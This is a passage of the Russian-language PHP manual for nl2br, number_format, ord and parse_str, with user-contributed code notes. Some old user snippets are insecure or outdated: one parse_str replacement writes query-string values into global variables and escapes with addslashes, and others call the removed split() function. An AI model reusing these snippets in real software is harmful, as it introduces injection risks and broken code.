  if(isset($_SERVER['SHELL'])) return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
  return nl2br($string);
}

print nl("One\nTwo<br>Three\r\nFour<br />Five
Six" . PHP_EOL);
?>
chad at nobodyfamous dot ca 16-Aug-2017 01:07
I just spent a whole day trying to figure out why my textarea $_POST was not getting <br /> tags added by nl2br().  So for others

<?php filter_input(INPUT_POST, 'text', FILTER_SANITIZE_SPECIAL_CHARS); ?> returns newlines as  &#13; and &#10; so nl2br will miss them.

rather use <?php filter_input(INPUT_POST, 'text', FILTER_SANITIZE_STRING); ?> and newlines will remain intact so nl2br will pick them up.
Justinas M. 02-May-2016 07:02
This is example with "\R" regex token which matches any unicode newline character.
"u" flag treate strings as UTF-16. Which is optional, depending on your use case.

<?php

public function nl2br($string)
{
  return preg_replace('/\R/u', '<br/>', $string);
}

?>

NOTE:
preg_replace versions are much slower than using str_replace version or built-in nl2br.
Check out pcre.backtrack_limit php.ini setting for information about PCRE limit. It's good to know.

Some PHP7 benchmarks:
<?php

// nl2br()

function nl2br_str($string) {
  return str_replace(["\r\n", "\r", "\n"], '<br/>', $string);
}

function nl2br_preg_R($string)
{
  return preg_replace('/\R/u', '<br/>', $string);
}

function nl2br_preg_rnnr($string)
{
  return preg_replace('/(\r\n|\n|\r)/', '<br/>', $string);
}

?>

 # nl2br
 ## Time: 0.02895712852478 s

 # nl2br_str
 ## Time: 0.027923107147217 s

 # nl2br_preg_R
 ## Time: 0.13350105285645 s

 # nl2br_preg_rnnr
 ## Time: 0.14213299751282 s
leo dot mauro dot desenv at gmail dot com 17-Sep-2015 12:36
I test empirically this function nl2br and nl2br2 (create by ngkongs at gmail dot com).
Both work nice with different ASCII chars for linebreak, but the function nl2br2 is faster than nl2br.

nl2br2 ~ 0.0000309944153 s
nl2br  ~ 0.0011141300201 s

The function nl2br2:
<?php
function nl2br2($string) {
  $string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
  return $string;
}
?>
fquffio at live dot it 10-Jun-2014 08:46
Starting from PHP 4.3.10 and PHP 5.0.2, this should be the most correct way to replace <br /> and <br> tags with newlines and carriage returns.
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl ( $string )
{
    return preg_replace('/\<br(\s*)?\/?\>/i', PHP_EOL, $string);
}
?>
(Please note this is a minor edit of this function: http://php.net/nl2br#86678 )

You might also want to be "platform specific", and therefore this function might be of some help:
<?php
/**
 * Convert BR tags to newlines and carriage returns.
 *
 * @param string The string to convert
 * @param string The string to use as line separator
 * @return string The converted string
 */
function br2nl ( $string, $separator = PHP_EOL )
{
    $separator = in_array($separator, array("\n", "\r", "\r\n", "\n\r", chr(30), chr(155), PHP_EOL)) ? $separator : PHP_EOL;  // Checks if provided $separator is valid.
    return preg_replace('/\<br(\s*)?\/?\>/i', $separator, $string);
}
?>
darenschwenke at yahoo dot com 28-Jan-2014 07:15
This one works with br tags having attributes, in any case,
closed or  not closed, and does not double linefeeds

<?php
 /**
 * convert br tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */

function br2nl($string)
{
    return preg_replace("/<br[^>]*>\s*\r*\n*/is", "\n", $string);
}
?>

I combine this with strip_tags() for dead simple "contenteditable" fields allowing only text and linefeeds.
j dot mons54 at gmail dot com 29-May-2012 09:45
for bbcode :

<?php
$message =  nl2br(preg_replace('#(\\]{1})(\\s?)\\n#Usi', ']', stripslashes($message)));
?>
N/A 29-Oct-2008 07:41
Here's a more simple one:

<?php
/**
 * Convert BR tags to nl
 *
 * @param string The string to convert
 * @return string The converted string
 */
function br2nl($string)
{
    return preg_replace('/\<br(\s*)?\/?\>/i', "\n", $string);
}
?>

Enjoy
blacknine313 at gmail dot com 01-Apr-2008 06:34
After a recent post at the forums on Dev Shed, I noticed that it isn't mentioned, so I will mention it.

nl2br returns pure HTML, so it should be after PHP anti-HTML functions ( such as strip_tags and htmlspecialchars ).
hyponiq at gmail dot com 25-Aug-2007 11:03
On the contrary, <b>mark at dreamjunky.comno-spam</b>, this function is rightfully named.  Allow me to explain.  Although it does re-add the line break, it does so in an attempt to stay standards-compliant with the W3C recommendations for code format.

According to said recommendations, a new line character must follow a line break tag.  In this situation, the new line is not removed, but a break tag is added for proper browser display where a paragraph isn't necessary or wanted.
ngkongs at gmail dot com 23-Feb-2007 04:12
to replace all linebreaks to <br />
the best solution (IMO) is:

<?php
function nl2br2($string) {
$string = str_replace(array("\r\n", "\r", "\n"), "<br />", $string);
return $string;
}
?>

because each OS have different ASCII chars for linebreak:
windows = \r\n
unix = \n
mac = \r

works perfect for me
Anders Norrbring 09-Mar-2006 01:28
Seeing all these suggestions on a br2nl function, I can also see that neither would work with a sloppy written html line break.. Users can't be trusted to write good code, we know that, and mixing case isn't too uncommon.

I think this little snippet would do most tricks, both XHTML style and HTML, even mixed case like <Br> <bR /> and even <br            > or <br     />.

<?php
function br2nl($text)
{
    return  preg_replace('/<br\\s*?\/??>/i', '', $text);
}
?>
CGameProgrammer at gmail dot com 30-Jan-2005 05:28
It's important to remember that this function does NOT replace newlines with <br> tags. Rather, it inserts a <br> tag before each newline, but it still preserves the newlines themselves! This caused problems for me regarding a function I was writing -- I forgot the newlines were still being preserved.

If you don't want newlines, do:

<?php
$Result = str_replace( "\n", '<br />', $Text );
?>


Форматирует число с группировкой классов многозначного числа

  • « nl2br
  • ord »
  • PHP Manual
  • Функции для работы со строками
  • Форматирует число с группировкой классов многозначного числа

number_format

(PHP 4, PHP 5, PHP 7, PHP 8)

number_format — Форматирует число с группировкой классов многозначного числа

Описание

number_format(
float $num,
int $decimals = 0,
?string $decimal_separator = ".",
?string $thousands_separator = ","
): string

Функция форматирует число с группировкой классов многозначного числа, и, если нужно, с десятичными разрядами. Функция применяет правило математического округления в бо?льшую сторону.

Список параметров

num

Форматируемое число.

decimals

Задаёт количество десятичных разрядов. Значение параметра decimal_separator опускается в возвращаемом значении, если в параметр передали значение 0.

decimal_separator

Устанавливает разделитель дробной части.

thousands_separator

Устанавливает разделитель классов многозначного числа.

Возвращаемые значения

Функция возвращает отформатированное число num.

Список изменений

Версия | Описание
8.0.0 | До этой версии функция number_format() принимала один, два или четыре параметр, но не три.
7.2.0 | Функцию number_format() изменили, чтобы не возвращать значение -0. Раньше функция могла вернуть значение -0, если параметр num равнялся -0.01.

Примеры

Пример #1 Пример использования функции number_format()

Во французской нотации указывают два знака: запятую «,» как десятичный разделитель и пробел « » как разделитель классов многозначных чисел. Следующий пример демонстрирует способы форматирования числа:

<?php

$number = 1234.56;

// Английский формат (по умолчанию)
$english_format_number = number_format($number);
// 1,235

// Французский формат
$nombre_format_francais = number_format($number, 2, ',', ' ');
// 1 234,56

$number = 1234.5678;

// Английский формат без разделителя классов многозначного числа
$english_format_number = number_format($number, 2, '.', '');
// 1234.57

?>

Смотрите также

  • money_format() - Форматирует число как денежную величину
  • sprintf() - Возвращает отформатированную строку
  • printf() - Выводит отформатированную строку
  • sscanf() - Разбирает строку в соответствии с заданным форматом

User Contributed Notes

Mad Max 20-Oct-2023 04:12
India (~18% of the world's population), Pakistan (~3%), Bangladesh (~2%), Nepal, and Myanmar, have a different way to display large numbers:

10,23,45,678.20

The first thousand is "normal" but then there is a comma every TWO digits after that.

Now look at the number_format() function.  Do you see a way to control the placement and frequency of the commas?  Or a mode option/switch to deal with displaying numbers for almost 1/4 of the total population on Earth?  Neither do I.

If you are developing an application for an international audience, the ICU-based Intl PHP extension might work fine for you.  However, IBM's ICU library is a resource heavy library (because...IBM), isn't the fastest library on the planet (also normal for IBM), ICU formatters are somewhat unreliable/inconsistent (yup, still IBM), and the Intl extension isn't always available in PHP (this one's PHP).  So there are many significant hurdles to overcome just to prepare a number for display using the Intl extension.

In short, approximately 23% of the planet currently can't use this function for displaying large numbers and there isn't a good built-in *lightweight* alternative other than to roll your own solution that outright replaces this function.  Formatting a number for display is an extremely common task.

Disclaimer:  This comment serves as a warning to others that this function isn't suitable for an international audience in its current state.  This comment is not a question, bug report, or feature request.  I'm simply commenting on the current state of affairs with this function.  If someone opts to make changes/improvements, then great, but that's not the purpose here.
support at piri dot sk 16-Apr-2023 12:18
My simpler solution to the problem of the decimal number in this function being longer than the specified number of decimals.

Standard result for number_format() is..
number_format(5.00098, 2) = 5.00

My function will return the result = 5.001

<?php

// ** Warning: Does not work with scientific notation. Conversion to a real number is required. **

echo auto_decimal_format(5.0005620); // print 5.0006
echo auto_decimal_format(5.0009820); // print 5.001
echo auto_decimal_format(5.00098, 8); // print 5.00098000
echo auto_decimal_format(1.0295691366783E-5, 2); // print 0.00

function auto_decimal_format($n, $def = 2) {
    $a = explode(".", $n);
    if (count($a)>1) {
        $b = str_split($a[1]);
        $pos = 1;
        foreach ($b as $value) {
            if ($value != 0 && $pos >= $def) {
                $c = number_format($n, $pos);
                $c_len = strlen(substr(strrchr($c, "."), 1));
                if ($c_len > $def) { return rtrim($c, 0); }
                return $c; // or break
            }
            $pos++;
        }
    }
    return number_format($n, $def);
}

?>
info at ensostudio dot ru 30-Dec-2021 08:28
Note: use NumberFormatter to convert in human-readable format instead  user function from comments:
<?php
echo NumberFormatter::create('en', NumberFormatter::SPELLOUT)->format(12309); // twelve thousand three hundred nine
echo NumberFormatter::create('ru', NumberFormatter::SPELLOUT)->format(12307.5); //  двенадцать тысяч триста семь целых пять десятых
?>
liviu andrei (bls) 18-Nov-2011 08:10
To prevent the rounding that occurs when next digit after last significant decimal is 5 (mentioned by several people below):

<?php
function fnumber_format($number, $decimals='', $sep1='', $sep2='') {

        if (($number * pow(10 , $decimals + 1) % 10 ) == 5)  //if next not significant digit is 5
            $number -= pow(10 , -($decimals+1));

        return number_format($number, $decimals, $sep1, $sep2);

}

$t=7.15;
echo $t . " | " . number_format($t, 1, '.', ',') .  " | " . fnumber_format($t, 1, '.', ',') . "\n\n";
//result is: 7.15 | 7.2 | 7.1

$t=7.3215;
echo $t . " | " . number_format($t, 3, '.', ',') .  " | " . fnumber_format($t, 3, '.', ',') . "\n\n";
//result is: 7.3215 | 7.322 | 7.321
} ?>

have fun!
james at bandit dot co.nz 26-Mar-2009 09:03
Outputs a human readable number.

<?php
    #    Output easy-to-read numbers
    #    by james at bandit.co.nz
    function bd_nice_number($n) {
        // first strip any formatting;
        $n = (0+str_replace(",","",$n));

        // is this a number?
        if(!is_numeric($n)) return false;

        // now filter it;
        if($n>1000000000000) return round(($n/1000000000000),1).' trillion';
        else if($n>1000000000) return round(($n/1000000000),1).' billion';
        else if($n>1000000) return round(($n/1000000),1).' million';
        else if($n>1000) return round(($n/1000),1).' thousand';

        return number_format($n);
    }
?>

Outputs:

247,704,360 -> 247.7 million
866,965,260,000 -> 867 billion
thomas at weblizards dot de 23-Jan-2009 05:43
It's not explicitly documented; number_format also rounds:

<?php
$numbers = array(0.001, 0.002, 0.003, 0.004, 0.005, 0.006, 0.007, 0.008, 0.009);
foreach ($numbers as $number)
    print $number."->".number_format($number, 2, '.', ',')."<br>";
?>

0.001->0.00
0.002->0.00
0.003->0.00
0.004->0.00
0.005->0.01
0.006->0.01
0.007->0.01
0.008->0.01
0.009->0.01
MarcM 20-Feb-2006 10:03
For Zero fill - just use the sprintf() function

$pr_id = 1;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 001
-----------------

$pr_id = 10;
$pr_id = sprintf("%03d", $pr_id);
echo $pr_id;

//outputs 010
-----------------

You can change %03d to %04d, etc.
Jeroen de Bruijn [NL] 01-Oct-2005 03:02
If you want to display a number ending with ,- (like 200,-) when there are no decimal characters and display the decimals when there are decimal characters i use:

function DisplayDouble($value)
  {
  list($whole, $decimals) = split ('[.,]', $value, 2);
  if (intval($decimals) > 0)
    return number_format($value,2,".",",");
  else
    return number_format($value,0,".",",") .",-";
  }
stm555 at hotmail dot com 27-Apr-2005 08:54
I ran across an issue where I wanted to keep the entered precision of a real value, without arbitrarily rounding off what the user had submitted.

I figured it out with a quick explode on the number before formatting. I could then format either side of the decimal.

<?php
      function number_format_unlimited_precision($number,$decimal = '.')
      {
           $broken_number = explode($decimal,$number);
           return number_format($broken_number[0]).$decimal.$broken_number[1];
      }
?>
Theo Diem 24-Mar-2003 01:45
formatting numbers may be more easy if u use number_format function.

I also wrote this :
function something($number)
{
    $locale = localeconv();
    return number_format($number,
       $locale['frac_digits'],
        $locale['decimal_point'],
        $locale['thousands_sep']);
}

hope this helps =)
[]'s


Конвертирует первый байт строки в число от 0 до 255

  • « number_format
  • parse_str »
  • PHP Manual
  • Функции для работы со строками
  • Конвертирует первый байт строки в число от 0 до 255

ord

(PHP 4, PHP 5, PHP 7, PHP 8)

ord — Конвертирует первый байт строки в число от 0 до 255

Описание

ord(string $character): int

Интерпретирует бинарное значение первого байта строки character как беззнаковое целое.

Если строка создана в однобайтовой кодировке, такой как ASCII, ISO-8859 или Windows 1252, результат функции будет эквивалентен позиции символа в соответствующей таблице кодировки. В любом случае, эта функция ничего не знает про кодировки и не сможет вернуть кодовую точку первого символа строки, закодированной в многобайтовой кодировке, такой как UTF-8 или UTF-16.

Эта функция дополняет функцию chr().

Список параметров

character

Символ.

Возвращаемые значения

Целое число от 0 до 255.

Примеры

Пример #1 Пример использования ord()

<?php
$str = "\n";
if (ord($str) == 10) {
echo "Первый символ \$str - перевод строки.\n";
}
?>

Пример #2 Просмотр индивидуальный байтов строки UTF-8

<?php
declare(encoding='UTF-8');
$str = "??";
for ( $pos=0; $pos < strlen($str); $pos ++ ) {
$byte = substr($str, $pos);
echo 'Байт ' . $pos . ' строки $str равен ' . ord($byte) . PHP_EOL;
}
?>

Результат выполнения приведённого примера:

Байт 0 строки $str равен 240
Байт 1 строки $str равен 159
Байт 2 строки $str равен 144
Байт 3 строки $str равен 152

Смотрите также

  • chr() - Генерирует односимвольную строку по заданному числу
  • » Таблица ASCII-кодов
  • mb_ord() - Получает кодовую точку символа Unicode
  • IntlChar::ord() - Получить код символ Unicode

User Contributed Notes

Noname 22-Jan-2022 03:51
<?php

declare (encoding='UTF-8');

$animalsstr = '????????????????????????????????????????????????????'
        . '????????????????????????????????????????????????????????'
        . '????????????????????';

$animals = mb_str_split($animalsstr);
foreach ($animals as $animal) {
    for ($pos = 0; $pos < strlen($animal); $pos++) {
        $byte = substr($animal, $pos);
        echo "Byte $pos of $animal has value " . ord($byte) . PHP_EOL;
    }
}

?>
Anonymous 22-Jul-2021 06:40
For anyone who's looking to convert full strings to map and back it's pretty simple but takes some getting used to...the code below saves an hour of scrounging codes for beginners like myself.

function var2map($a) {
    $b='';
    $c=strlen($a);
    for($i=0; $i<$c; ++$i) {
        $d=ord(substr($a,$i,1));
        if($d<10) {
            $e='00'.$d;
        } else {
            if($d<100) {
                $e='0'.$d;
            } else {
                $e=$d;
            }
        }
        if($b=='') {
            $b=$e;
        } else {
            $b=$b.$e;
        }
    }
    return $b;
}

function map2var($a) {
    $b='';
    $c=strlen($a) / 3;
    for($i=0; $i<$c; ++$i) {
        $d=chr(substr($a,$i*3,3));
        if($b=='') {
            $b=$d;
        } else {
            $b=$b.$d;
        }
    }
    return $b;
}
paco at olecode dot com 24-Feb-2020 02:46
this function convert UTF-8 string to RTF code string. I am using code of v0rbiz at yahoo dot com, thanks!!!

function cadena_rtf($txt)
   {
      $result = null;

      for ($pos = 0; $pos < mb_strlen($txt); $pos++) {

         $char = mb_substr($txt, $pos, 1);

         if (!preg_match("/[A-Za-z1-9,.]/", $char)) {
            //unicode ord real!!!
            $k   = mb_convert_encoding($char, 'UCS-2LE', 'UTF-8');
            $k1  = ord(substr($k, 0, 1));
            $k2  = ord(substr($k, 1, 1));
            $ord = $k2 * 256 + $k1;

            if ($ord > 255) {
               $result .= '\uc1\u' . $ord . '*';
            } elseif ($ord > 32768) {
               $result .= '\uc1\u' . ($ord - 65535) . '*';
            } else {
               $result .= "\\'" . dechex($ord);
            }
         } else {
            $result .= $char;
         }
      }
      return $result;
   }
rowan dot collins at cwtdigital dot com 11-Jun-2013 06:28
Regarding character sets, and whether or not this is "ASCII". Firstly, there is no such thing as "8-bit ASCII", so if it were ASCII it would only ever return integers up to 127. 8-bit ASCII-compatible encodings include the ISO 8859 family of encodings, which map various common characters to the values from 128 to 255. UTF-8 is also designed so that characters representable in 7-bit ASCII are coded the same; byte values higher than 127 in a UTF-8 string represent the beginning of a multi-byte character.

In fact, like most of PHP's string functions, this function isn't doing anything to do with character encoding at all - it is just interpreting a binary byte from a string as an unsigned integer. That is, ord(chr(200)) will always return 200, but what character chr(200) *means* will vary depending on what character encoding it is *interpreted* as part of (e.g. during display).

A technically correct description would be "Returns an integer representation of the first byte of a string, from 0 to 255. For single-byte encodings such as (7-bit) ASCII and the ISO 8859 family, this will correspond to the first character, and will be the position of that character in the encoding's mapping table. For multi-byte encodings, such as UTF-8 or UTF-16, the byte may not represent a complete character."

The link to asciitable.com should also be replaced by one which explains what character encoding it is displaying, as "Extended ASCII" is an ambiguous and misleading name.
arglanir+phpnet at gmail dot com 23-Aug-2012 03:06
As ord() doesn't work with utf-8, and if you do not have access to mb_* functions, the following function will work well:
<?php
function ordutf8($string, &$offset) {
    $code = ord(substr($string, $offset,1));
    if ($code >= 128) {        //otherwise 0xxxxxxx
        if ($code < 224) $bytesnumber = 2;                //110xxxxx
        else if ($code < 240) $bytesnumber = 3;        //1110xxxx
        else if ($code < 248) $bytesnumber = 4;    //11110xxx
        $codetemp = $code - 192 - ($bytesnumber > 2 ? 32 : 0) - ($bytesnumber > 3 ? 16 : 0);
        for ($i = 2; $i <= $bytesnumber; $i++) {
            $offset ++;
            $code2 = ord(substr($string, $offset, 1)) - 128;        //10xxxxxx
            $codetemp = $codetemp*64 + $code2;
        }
        $code = $codetemp;
    }
    $offset += 1;
    if ($offset >= strlen($string)) $offset = -1;
    return $code;
}
?>
$offset is a reference, as it is not easy to split a utf-8 char-by-char. Useful to iterate on a string:
<?php
$text = "abcae?€abc";
$offset = 0;
while ($offset >= 0) {
    echo $offset.": ".ordutf8($text, $offset)."\n";
}
/* returns:
0: 97
1: 98
2: 99
3: 224
5: 234
7: 223
9: 8364
12: 97
13: 98
14: 99
*/
?>
Feel free to adapt my code to fit your needs.
v0rbiz at yahoo dot com 28-May-2004 04:15
I did not found a unicode/multibyte capable 'ord' function, so...

<?php
function uniord($u) {
    $k = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
    $k1 = ord(substr($k, 0, 1));
    $k2 = ord(substr($k, 1, 1));
    return $k2 * 256 + $k1;
}
?>


Разбирает строку в переменные

  • « ord
  • print »
  • PHP Manual
  • Функции для работы со строками
  • Разбирает строку в переменные

parse_str

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_str — Разбирает строку в переменные

Описание

parse_str(string $string, array &$result): void

Разбирает строку string, которая должна иметь формат строки запроса URL и присваивает значения переменным в текущем контексте (или заносит в массив, если задан параметр result).

Список параметров

string

Входная строка.

result

Если указан второй параметр result, то вместо присвоения переменных в текущем контексте они будут сохранены в этом параметре в качестве элементов массива.

Внимание

Использовать эту функцию без параметра result крайне НЕ РЕКОМЕНДУЕТСЯ. Подобное использование объявлено УСТАРЕВШИМ с PHP 7.2. Начиная с PHP 8.0.0, параметр result является обязательным.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | result больше не является необязательным.
7.2.0 | Использование parse_str() без второго параметра будет вызывать ошибку уровня E_DEPRECATED.

Примеры

Пример #1 Использование parse_str()

<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";

// Рекомендуемый подход
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz

// НЕ РЕКОМЕНДУЕТСЯ
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>

Так как имена переменных PHP не могут содержать пробелы и точки, эти символы будут заменены на символ подчёркивания. Такие же правила накладываются на имена ключей в массиве result, если он задан.

Пример #2 Соотношение имён parse_str()

<?php
parse_str("My Value=Something");
echo $My_Value; // Something

parse_str("My Value=Something", $output);
echo $output['My_Value']; // Something
?>

Примечания

Замечание:

Все переменные создаются (или заносятся в массив) уже обработанные функцией urldecode().

Замечание:

Для получения текущей QUERY_STRING, можно использовать переменную $_SERVER['QUERY_STRING']. Кроме того, возможно вы захотите прочесть раздел о переменных вне PHP.

Смотрите также

  • parse_url() - Разбирает URL и возвращает его компоненты
  • pathinfo() - Возвращает информацию о пути к файлу
  • http_build_query() - Генерирует URL-кодированную строку запроса
  • urldecode() - Декодирование URL-кодированной строки

User Contributed Notes

Roemer Lievaart 21-Jan-2022 09:20
If you need the key names preserved and don't want spaces or . or unmatched [ or ] replaced by an underscore, yet you want all the other goodies of parse_str(), like turning matched [] into array elements, you can use this code as a base for that.

<?php
const periodPlaceholder = 'QQleQPunT';
const spacePlaceholder = 'QQleQSpaTIE';

function parse_str_clean($querystr): array {
    // without the converting of spaces and dots etc to underscores.
    $qquerystr = str_ireplace(['.','%2E','+',' ','%20'], [periodPlaceholder,periodPlaceholder,spacePlaceholder,spacePlaceholder,spacePlaceholder], $querystr);
    $arr = null ; parse_str($qquerystr, $arr);

    sanitizeKeys($arr, $querystr);
    return $arr;
}

function sanitizeKeys(&$arr, $querystr) {
    foreach($arr as $key=>$val) {
        // restore values to original
        $newval = $val ;
        if ( is_string($val)) {
            $newval = str_replace([periodPlaceholder,spacePlaceholder], ["."," "], $val);
        }

        $newkey = str_replace([periodPlaceholder,spacePlaceholder], ["."," "], $key);

        if ( str_contains($newkey, '_') ) {

            // periode of space or [ or ] converted to _. Restore with querystring
            $regex = '/&('.str_replace('_', '[ \.\[\]]', preg_quote($newkey, '/')).')=/';
            $matches = null ;
            if ( preg_match_all($regex, "&".urldecode($querystr), $matches) ) {

                if ( count(array_unique($matches[1])) === 1 && $key != $matches[1][0] ) {
                    $newkey = $matches[1][0] ;
                }
            }
        }
        if ( $newkey != $key ) {
            unset($arr[$key]);
            $arr[$newkey] = $newval ;
        } elseif( $val != $newval )
            $arr[$key] = $newval;

        if ( is_array($val)) {
            sanitizeKeys($arr[$newkey], $querystr);
        }
    }
}

?>

For example:

parse_str_clean("code.1=printr%28hahaha&code 1=448044&test.mijn%5B%5D%5B2%5D=test%20Roemer&test%5Bmijn=test%202e%20Roemer");

Produces:

array(4) {
  ["code.1"]=>
  string(13) "printr(hahaha"
  ["code 1"]=>
  string(6) "448044"
  ["test.mijn"]=>
  array(1) {
    [0]=>
    array(1) {
      [2]=>
      string(11) "test Roemer"
    }
  }
  ["test[mijn"]=>
  string(14) "test 2e Roemer"
}

Whereas if you feed the same querystring to parse_str, you will get

array(2) {
  ["code_1"]=>
  string(6) "448044"
  ["test_mijn"]=>
  string(14) "test 2e Roemer"
}
kawewong at gmail dot com 11-Jun-2021 09:11
Warning: `parse_str()` can cause "Input variables exceeded 1000" error (1000 is default php.ini setting for `max_input_vars`).

Test code.

<?php

$inputString = 'first=firstvalue';

for ($i = 1; $i <= 1100; $i++) {
    $inputString .= '&arrLoopNumber[]=' . $i;
}
unset($i);

echo 'input string: <code>' . $inputString . '</code><br>' . PHP_EOL;
echo '<h5>doing <code>parse_str()</code></h5>' . PHP_EOL;

$output = [];
parse_str($inputString, $output);
// errors!!
?>
twiddly 21-Jan-2018 10:54
proper_parse_str works great and I like that it doesn't replace spaces with underbars, but should urldecode $value
alxcube at gmail dot com 18-Jun-2016 06:50
if you need custom arg separator, you can use this function. it returns parsed  query as associative array.

<?php

/**
 * Parses http query string into an array
 *
 * @author Alxcube <alxcube@gmail.com>
 *
 * @param string $queryString String to parse
 * @param string $argSeparator Query arguments separator
 * @param integer $decType Decoding type
 * @return array
 */
function http_parse_query($queryString, $argSeparator = '&', $decType = PHP_QUERY_RFC1738) {
        $result             = array();
        $parts              = explode($argSeparator, $queryString);

        foreach ($parts as $part) {
                list($paramName, $paramValue)   = explode('=', $part, 2);

                switch ($decType) {
                        case PHP_QUERY_RFC3986:
                                $paramName      = rawurldecode($paramName);
                                $paramValue     = rawurldecode($paramValue);
                                break;

                        case PHP_QUERY_RFC1738:
                        default:
                                $paramName      = urldecode($paramName);
                                $paramValue     = urldecode($paramValue);
                                break;
                }

                if (preg_match_all('/\[([^\]]*)\]/m', $paramName, $matches)) {
                        $paramName      = substr($paramName, 0, strpos($paramName, '['));
                        $keys           = array_merge(array($paramName), $matches[1]);
                } else {
                        $keys           = array($paramName);
                }

                $target         = &$result;

                foreach ($keys as $index) {
                        if ($index === '') {
                                if (isset($target)) {
                                        if (is_array($target)) {
                                                $intKeys        = array_filter(array_keys($target), 'is_int');
                                                $index  = count($intKeys) ? max($intKeys)+1 : 0;
                                        } else {
                                                $target = array($target);
                                                $index  = 1;
                                        }
                                } else {
                                        $target         = array();
                                        $index          = 0;
                                }
                        } elseif (isset($target[$index]) && !is_array($target[$index])) {
                                $target[$index] = array($target[$index]);
                        }

                        $target         = &$target[$index];
                }

                if (is_array($target)) {
                        $target[]   = $paramValue;
                } else {
                        $target     = $paramValue;
                }
        }

        return $result;
}

?>
StanE 17-Sep-2015 09:57
Note that the characters "." and " " (empty space) will be converted to "_". The characters "[" and "]" have special meaning: They represent arrays but there seems to be some weird behaviour, which I don't really understand:

<?php
// Note: "[" = %5B, "]" = %5D

/*
"v][=a" produces ("[" gets replaced by "_"):
Array
(
    [v]_] => a
)
*/
parse_str("v%5D%5B=a", $r);
print_r($r);

/*
"v][[=a" produces (first "[" gets replaced by "_", but not all following):
Array
(
    [v]_[] => a
)
*/
parse_str("v%5D%5B%5B=a", $r);
print_r($r);

?>
zweibieren at yahoo dot com 27-Apr-2015 03:18
If the arr argument is provided, all its existing elements are removed.
markc 30-Jun-2013 04:43
Beware using parse_str in a function that has vars passed by reference. It seems that parse_str actually creates new vars even if vars of the same name exist. If you pass by ref vars of the same name as those in a query string being parsed new LOCAL vers will be created and you won't get any values passed back to the caller (relates to what Maikel mentioned below)

An unrealistic example (vaguely related to what I was doing when I found this out)...

function get_title($query,&$title)
{
  parse_str($query);
  $title=str_replace("_"," ",$title);
}

$title="foo";
$query = "context=something&title=Title_of_Something";
get_title($query,$title);

echo $title .... "foo"
jrgns at jadeit dot co dot za 27-Jun-2012 08:57
The array to be populated does not need to be defined before calling the function:

<?php
error_reporting(E_ALL | E_STRICT);
parse_str('var=value', $array);
?>

This will not produce a notice.
shagshag 14-May-2012 05:51
That's not says in the description but max_input_vars directive affects this function. If there are more input variables on the string than specified by this directive, an E_WARNING is issued, and further input variables are truncated from the request.
Benjamin Garcia 26-Apr-2012 09:18
function like parse_str, but doesn't convert spaces and dots to underscores in $_GET AND $_POST

/**
 * GET and POST input containing dots, etc.
 */
function getRealREQUEST() {
    $vars = array();

    $input    = $_SERVER['REDIRECT_QUERY_STRING'];
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs     as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    $input    = file_get_contents("php://input");
    if(!empty($input)){
        $pairs    = explode("&", $input);
        foreach ($pairs as $pair) {
            $nv                = explode("=", $pair);

            $name            = urldecode($nv[0]);
            $nameSanitize    = preg_replace('/([^\[]*)\[.*$/','$1',$name);

            $nameMatched    = str_replace('.','_',$nameSanitize);
            $nameMatched    = str_replace(' ','_',$nameMatched);

            $vars[$nameSanitize]    = $_REQUEST[$nameMatched];
        }
    }

    return $vars;
}
Will Voelcker 12-Aug-2010 11:07
If you need a function that does something similar to parse_str, but doesn't convert spaces and dots to underscores, try something like the following:

<?php
function parseQueryString($str) {
    $op = array();
    $pairs = explode("&", $str);
    foreach ($pairs as $pair) {
        list($k, $v) = array_map("urldecode", explode("=", $pair));
        $op[$k] = $v;
    }
    return $op;
}
?>

It may need adapting to handle various edge cases.
tobsn at php dot net 01-Jul-2008 11:17
just a heads up with the example above:
?var[]=123 - the [] has to be urlencoded.
var names and var values - both have to be urlencoded!
helpmepro1 at gmail dot com 28-Apr-2008 09:09
<?
//by shimon doodkin

 $url_form=url_to_form($url);
 echo '<form action="'.$url_form['action'].'" method="get">';
 echo $url_form['hidden'];
 echo '<input name="otherfiled" type="text">';
 echo '<input type="submit">';
 echo '</form>';

 function url_to_form($url)
 {
  $url=split('\?',$url,2);
  $action=$url[0];
  $hidden="";
  if(isset($url[1]))
  {
   $pairs=split('&',$url[1]);
   foreach($pairs as $pair)
   {
    $pair=split('=',$pair,2);
    $name=$pair[0];
    if(isset($pair[1]))
     $value=$pair[1];
    else
     $value='';
    $name=$name;
    $value=htmlspecialchars($value);
    if($name!='')
     $hidden.='<hidden name="'.$name.'" value="'.$value.'">';
   }
  }
  return array('action'=>$action,'hidden'=>$hidden);
 }

?>
chris at mcfadyen dot ca 13-Nov-2007 04:02
I shouldn't've posted the original version, as it only worked with the most basic of query strings.

This function will parse an html-safe query-like url string for variables and php-like ordered and associative arrays.  It places them into the global scope as parse_str does and adds minimal slashes for database insertions without the triple-slash problems that magic quotes can produce (the reason I had to write it in the first place).  If you don't need the slashes, they're easy enough to remove.

<?php
function parse_query($str) {

    // Separate all name-value pairs
    $pairs = explode('&', $str);

    foreach($pairs as $pair) {

        // Pull out the names and the values
        list($name, $value) = explode('=', $pair, 2);

        // Decode the variable name and look for arrays
        list($name, $index) = split('[][]', urldecode($name));

        // Arrays
        if(isset($index)) {

            // Declare or add to the global array defined by $name
            global $$name;
            if(!isset($$name)) $$name = array();

            // Associative array
            if($index != "") {
                ${$name}[$index] = addslashes(urldecode($value));

